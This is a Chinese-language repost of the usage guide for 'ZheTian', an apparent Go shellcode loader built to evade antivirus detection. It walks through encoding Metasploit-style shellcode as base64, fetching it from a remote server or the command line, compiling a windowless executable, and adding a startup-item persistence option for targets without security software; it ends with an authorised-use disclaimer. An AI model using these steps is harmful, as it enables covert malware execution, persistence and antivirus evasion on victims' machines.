文章来源 :白帽子左一
原文地址:https://github.com/yqcs/ZheTian
如果releases里下载的可执行程序被安全软件查杀了,请下载源码重新编译一份!·
新增命令-o详解:
该命令主要是向用户目录下创建tmp文件夹,然后生产只包含shellcode的程序,体积小了五六倍,极致压缩,并且无任何回显。
由于ShellCode写死在了程序内,所以导致用一段时间就会被查杀。
注意使用该命令需填充shellcode,同时拥有go环境。
搭配-s、-u、-c、-r其中的任意命令即可,如:ZheTian -s payload.c -o true
示例:
原始python代码:
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75..."
只需提取数组中的16进制代码:
\xfc\x48\x83\xe4\xf0\xe8\xc8\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75...
然后去除\x,得到:
fc4883e4f0e8c88b52208b423c4801d0668178180b0275......
然后使用base64转码,得到:
ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ==
c、ruby等同理,Java之流的则是去除 ", 0x"。注意,是逗号空格0x
byte buf[] = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41};
获取到base64字符串之后可以选择放到远程服务器加载,使用-u 命令即可。
也可以放到本地文件内,或者直接使用-c命令以命令行方式运行。
如:ZheTian.exe -c ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ==
原文件读取类型:
使用 ZheTian -h 命令可查看支持的语言。推荐使用Java、py、C语言。
原文件无需进行任何修改即可直接加载,但是不支持放在远程服务器,只能通过本地 -s 命令读取,如: ZheTian -s C:/Windows/Temp/payload.java
图示操作过程
先生成64位shellcode
然后根据需要的命令进行修改
下面执行示例:
go build -ldflags "-w -s" -o ZheTian.exe
可以使用
go build -ldflags "-w -s -H windowsgui" -o ZheTian.exe
实现无窗口运行。
但是360偶尔会识别为恶意程序。如果目标机器无安全设备,可以尝试使用此命令打包,然后使用参数: -o true 实现写入启动项功能。
带图标编译:
先执行:go get github.com/akavel/rsrc
rsrc -manifest ZheTian.manifest -ico favicon.ico -o ZheTian.syso
再执行go build -ldflags "-w -s" -o ZheTian.exe
更多介绍:https://blog.csdn.net/qq_38376348/article/details/108318880
注意:打包的时候需指定是64位还是32位。
默认会根据系统自动选择。
而在生成payload shellcode的时候也需要选择正确的位数,否则会加载失败。
使用code字节码加载时一定要使用base64加密,否则无法解析!!
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本公众号及作者不承担相应的后果.
侵权请私聊公众号删文